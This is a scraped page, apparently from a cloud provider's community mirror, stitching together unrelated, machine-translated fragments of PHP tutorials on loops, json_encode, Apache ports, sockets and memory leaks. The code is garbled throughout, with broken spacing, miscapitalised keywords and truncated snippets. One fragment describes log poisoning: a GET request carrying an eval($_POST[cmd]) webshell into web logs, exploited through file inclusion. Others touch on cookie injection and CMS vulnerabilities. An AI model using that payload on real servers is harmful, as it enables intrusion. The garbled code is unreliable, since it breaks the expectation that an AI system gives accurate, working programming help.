Number of days of the week in a loop (the red letter shows the number of days of the week)$ Week_array = array (1, 2, 3, 4, 5, 6, 7 );Foreach ($ week_array as $ key => $ value){If ($ value = date ("W "))$ Value = "". $ value. " ";Echo$ Value ."";}
I. json_encode ()
This function is used to convert arrays and objects to JSON format. First, let's look at an example of array conversion:
$ Arr = array ('A' => 1, 'B' => 2, 'c' => 3, 'D' => 4, 'E' => 5 );
Echo json_encode ($ ARR );
Listen to multiple ports
# Listen: allows you to bind Apache to specific IP addresses and/or# Ports, instead of the default. See also the # Directive.## Change this to listen on specific IP addresses as shown below# Prevent Apache from
Http://www.exp.com/index? /**/Eval ($ _ post [cmd]);/**/?>. PHP
Such a GET request writes a Trojan into the web log, and then uses the File Inclusion Vulnerability to obtain the webshell, such as the EXP on milw0rm:
Http://www.milw0rm.com/exploits/4
/*
Cookies injection acceleration tool for PHP
By occupation in arrears
Recently, I encountered an anti-injection solution. Cookie injection is feasible, but it is too hard to manually inject it, So I went around to look for acceleration tools.
The
Author: toby57 [www.toby57.cn]Date: 2008-08-18
Dedecms is a widely used PHP whole-site system, and the security of the system is also concerned. In the past, dedecms also experienced many vulnerabilities, and the official website quickly launched
******************** //
// Implementation steps// 1. obtain information about the current date and month (default value: current year and month)$ Year = $ _ Get ["Y"]? $ _ Get ["Y"]: date ("Y ");$ MON = $ _ Get ["M"]? $ _ Get ["M"]: date ("M ");
// 2
10 skills a PHP programmer should possess!Many PHP learners have been confused. What is the difference between a PHP programmer and a Java programmer or. NET programmer? Tell you, they are all the same! There is no difference. The following content
PHP built-in functions exec and system can call system commands (shell commands). Of course, there are also passthru, escapeshellcmd and other functions.
In many cases, using the exec, system, and other functions of PHP to call system commands can
1 */This article provides an example of socket-related functions in the PHP tutorial. If you create a socket, you will receive a socket connection and write it into a socket to initialize the connection. */2 $ IP = "127.0.0.1"; // define IP address 3
The last time we talked about refcount and is_ref, we will talk about memory leakage.
$a = array(1, 2, &$a);unset($a);
In the old PHP version, memory leakage occurs. The analysis is as follows:
Run the first line to know the zval refcount = 2 and is_
1 "; 64 $ S = "I am Alexis"; 65 sentence_rev ($ S); 66 echo $ S. ""; 67 $ S2 = sentence_rev2 ("You are not Alexis"); 68 echo $ S2; 69?>
GfedcbaAlexis am IAlexis not are you
1 2 3 4 '; 7?> 8 9 10 0) {// define can be used for conditional statements. Const cannot be used for conditional statements 13 define ('number', $ I ); // define can assign a value to 14} 15 echo number using the variable. ''; 16?> 17 18
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.
A Free Trial That Lets You Build Big!
Start building with 50+ products and up to 12 months usage for Elastic Compute Service